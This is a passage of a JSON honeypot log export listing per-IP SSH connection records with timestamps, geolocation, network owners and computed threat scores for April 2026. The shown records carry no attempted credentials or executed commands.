        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-04-01T01:44:00.137000+00:00",
        "last_seen_30d": "2026-04-29T21:55:35.934000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 21,
        "Cowrie": 4,
        "Dionaea": 1
      }
    },
    "205.210.31.34": {
      "attack_count": 4,
      "first_seen": "2026-04-13T04:06:59.573Z",
      "last_seen": "2026-04-13T04:07:03.240Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 70.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 17.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 52,
        "days_active_30d": 28,
        "ports_targeted_30d": 14,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T10:24:21.730000+00:00",
        "last_seen_30d": "2026-04-28T11:03:00.025000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 36,
        "Honeytrap": 12,
        "Cowrie": 4
      }
    },
    "65.49.1.58": {
      "attack_count": 4,
      "first_seen": "2026-04-10T13:43:56.765Z",
      "last_seen": "2026-04-10T13:44:00.815Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 69.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.8,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 28,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T05:37:13+00:00",
        "last_seen_30d": "2026-04-29T00:53:21.589000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 16,
        "Cowrie": 4,
        "Honeytrap": 4
      }
    },
    "66.132.195.40": {
      "attack_count": 4,
      "first_seen": "2026-04-19T10:38:32.153Z",
      "last_seen": "2026-04-19T10:38:49.234Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 91.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 21.7,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 149,
        "days_active_30d": 30,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-04-01T09:16:19+00:00",
        "last_seen_30d": "2026-04-30T11:28:18.215000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 86,
        "Honeytrap": 56,
        "Cowrie": 4,
        "ConPot": 2,
        "Dicompot": 1
      }
    },
    "68.183.218.234": {
      "attack_count": 4,
      "first_seen": "2026-04-24T11:44:04.971Z",
      "last_seen": "2026-04-24T11:44:06.556Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 17.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-24T11:44:04.971000+00:00",
        "last_seen_30d": "2026-04-24T11:45:08.467000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "143.20.185.252": {
      "attack_count": 3,
      "first_seen": "2026-04-04T21:50:25.723Z",
      "last_seen": "2026-04-04T21:50:26.026Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 214209,
      "as_org": "Internet Magnate (Pty) Ltd",
      "threat_score": 2.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-04T21:50:25.723000+00:00",
        "last_seen_30d": "2026-04-04T21:51:35.515000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "143.244.152.105": {
      "attack_count": 3,
      "first_seen": "2026-04-23T10:26:42.231Z",
      "last_seen": "2026-04-23T10:26:42.572Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.8,
        "diversity": 8,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 7,
        "ports_targeted_30d": 4,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-23T10:26:42.231000+00:00",
        "last_seen_30d": "2026-04-29T22:09:47.177000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 3,
        "Mailoney": 1
      }
    },
    "103.105.214.20": {
      "attack_count": 2,
      "first_seen": "2026-04-29T19:33:25.385Z",
      "last_seen": "2026-04-29T19:33:39.223Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Dumaguete",
      "asn": 137239,
      "as_org": "Fil Products Service Television Incorporated",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T19:33:25.385000+00:00",
        "last_seen_30d": "2026-04-29T19:34:47.725000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "112.93.200.221": {
      "attack_count": 2,
      "first_seen": "2026-04-08T11:00:56.861Z",
      "last_seen": "2026-04-08T11:01:09.345Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Nanhai",
      "asn": 17816,
      "as_org": "China Unicom IP network China169 Guangdong province",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-08T11:00:56.861000+00:00",
        "last_seen_30d": "2026-04-08T11:02:18.884000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "117.50.202.142": {
      "attack_count": 2,
      "first_seen": "2026-04-10T16:27:17.320Z",
      "last_seen": "2026-04-10T16:27:17.613Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4808,
      "as_org": "China Unicom Beijing Province Network",
      "threat_score": 6.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-10T16:27:17.320000+00:00",
        "last_seen_30d": "2026-04-10T16:28:23.791000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 3,
        "Cowrie": 2
      }
    },
    "120.157.79.169": {
      "attack_count": 2,
      "first_seen": "2026-04-22T17:28:03.135Z",
      "last_seen": "2026-04-22T17:28:03.136Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Melbourne",
      "asn": 1221,
      "as_org": "Telstra Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T17:28:03.135000+00:00",
        "last_seen_30d": "2026-04-22T17:29:09.781000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "147.185.132.45": {
      "attack_count": 2,
      "first_seen": "2026-04-13T21:09:36.042Z",
      "last_seen": "2026-04-13T21:09:36.390Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 82.5,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.1,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 28,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-04-01T09:24:57+00:00",
        "last_seen_30d": "2026-04-28T09:05:19.676000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 24,
        "ConPot": 3,
        "Cowrie": 2,
        "Dionaea": 1,
        "ElasticPot": 1,
        "Sentrypeer": 1
      }
    },
    "166.166.144.83": {
      "attack_count": 2,
      "first_seen": "2026-04-30T15:06:33.826Z",
      "last_seen": "2026-04-30T15:07:05.592Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6167,
      "as_org": "Verizon Business",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T15:06:33.826000+00:00",
        "last_seen_30d": "2026-04-30T15:08:14.658000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "182.119.231.4": {
      "attack_count": 2,
      "first_seen": "2026-04-29T04:11:29.546Z",
      "last_seen": "2026-04-29T04:11:29.558Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T04:11:29.546000+00:00",
        "last_seen_30d": "2026-04-29T04:12:37.193000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.218": {
      "attack_count": 2,
      "first_seen": "2026-04-16T05:44:34.971Z",
      "last_seen": "2026-04-16T05:44:44.715Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.0,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.8,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 96,
        "days_active_30d": 29,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-02T16:01:23.903000+00:00",
        "last_seen_30d": "2026-04-30T17:38:24.511000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 70,
        "Honeytrap": 24,
        "Cowrie": 2
      }
    },
    "198.235.24.254": {
      "attack_count": 2,
      "first_seen": "2026-04-01T16:48:50.830Z",
      "last_seen": "2026-04-01T16:49:21.786Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 79.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-01T16:48:50.830000+00:00",
        "last_seen_30d": "2026-04-30T17:33:25.915000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 59,
        "Honeytrap": 23,
        "Cowrie": 2
      }
    },
    "199.21.220.24": {
      "attack_count": 2,
      "first_seen": "2026-04-30T07:46:20.359Z",
      "last_seen": "2026-04-30T07:46:50.899Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 23394,
      "as_org": "Pacific Software Publishing, Inc.",
      "threat_score": 18.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T07:46:20.359000+00:00",
        "last_seen_30d": "2026-04-30T07:47:53.049000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "201.254.159.19": {
      "attack_count": 2,
      "first_seen": "2026-04-27T14:36:53.646Z",
      "last_seen": "2026-04-27T14:38:53.703Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Neuqu\u00e9n",
      "asn": 22927,
      "as_org": "Telefonica de Argentina",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-27T14:36:53.646000+00:00",
        "last_seen_30d": "2026-04-27T14:49:34.011000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.197": {
      "attack_count": 2,
      "first_seen": "2026-04-29T05:22:15.787Z",
      "last_seen": "2026-04-29T05:22:25.467Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 86.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 29,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-04-01T02:34:20.906000+00:00",
        "last_seen_30d": "2026-04-29T21:19:47.782000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 61,
        "Honeytrap": 31,
        "Ciscoasa": 2,
        "Cowrie": 2,
        "Dionaea": 2,
        "Honeyaml": 1
      }
    },
    "207.188.174.220": {
      "attack_count": 2,
      "first_seen": "2026-04-25T21:14:51.067Z",
      "last_seen": "2026-04-25T21:16:51.089Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Barcelona",
      "asn": 15704,
      "as_org": "Xtra Telecom S.A.",
      "threat_score": 15.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-25T21:14:51.067000+00:00",
        "last_seen_30d": "2026-04-25T21:27:53.760000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "218.201.184.228": {
      "attack_count": 2,
      "first_seen": "2026-04-22T17:10:13.503Z",
      "last_seen": "2026-04-22T17:10:30.079Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 24444,
      "as_org": "Shandong Mobile Communication Company Limited",
      "threat_score": 20.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-04-22T17:08:07+00:00",
        "last_seen_30d": "2026-04-22T17:11:37.737000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "223.178.212.183": {
      "attack_count": 2,
      "first_seen": "2026-04-30T08:21:26.294Z",
      "last_seen": "2026-04-30T08:21:39.524Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chandigarh",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-30T08:21:26.294000+00:00",
        "last_seen_30d": "2026-04-30T08:22:49.283000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "24.35.115.147": {
      "attack_count": 2,
      "first_seen": "2026-04-14T08:44:37.226Z",
      "last_seen": "2026-04-14T08:45:09.008Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Northampton",
      "asn": 6079,
      "as_org": "RCN",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-14T08:44:37.226000+00:00",
        "last_seen_30d": "2026-04-14T08:46:18.664000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "27.147.36.33": {
      "attack_count": 2,
      "first_seen": "2026-04-05T20:38:56.943Z",
      "last_seen": "2026-04-05T20:39:12.956Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "New Taipei City",
      "asn": 18429,
      "as_org": "Extra-Lan Technologies Co., LTD",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T20:38:56.943000+00:00",
        "last_seen_30d": "2026-04-05T20:40:16.789000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.72.124.213": {
      "attack_count": 2,
      "first_seen": "2026-04-18T04:46:39.711Z",
      "last_seen": "2026-04-18T04:46:52.555Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Geumcheon-gu",
      "asn": 3786,
      "as_org": "LG DACOM Corporation",
      "threat_score": 10.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-18T04:46:39.711000+00:00",
        "last_seen_30d": "2026-04-18T04:47:58.688000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "76.11.71.59": {
      "attack_count": 2,
      "first_seen": "2026-04-05T11:55:45.676Z",
      "last_seen": "2026-04-05T11:56:16.184Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Halifax",
      "asn": 11260,
      "as_org": "EastLink",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T11:55:45.676000+00:00",
        "last_seen_30d": "2026-04-05T11:57:25.750000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "8.213.222.198": {
      "attack_count": 2,
      "first_seen": "2026-04-22T02:31:55.318Z",
      "last_seen": "2026-04-22T02:32:26.072Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 13.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-22T02:31:55.318000+00:00",
        "last_seen_30d": "2026-04-22T02:33:27.194000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "80.119.16.6": {
      "attack_count": 2,
      "first_seen": "2026-04-29T14:19:02.419Z",
      "last_seen": "2026-04-29T14:21:02.422Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Aix-en-Provence",
      "asn": 15557,
      "as_org": "Societe Francaise Du Radiotelephone - SFR SA",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-29T14:19:02.419000+00:00",
        "last_seen_30d": "2026-04-29T14:32:03.342000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "83.224.173.116": {
      "attack_count": 2,
      "first_seen": "2026-04-05T03:25:58.067Z",
      "last_seen": "2026-04-05T03:26:11.659Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Italy",
      "country_code": "IT",
      "city": "Ponte di Piave",
      "asn": 30722,
      "as_org": "Fastweb",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-04-05T03:25:58.067000+00:00",
        "last_seen_30d": "2026-04-05T03:27:18.228000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
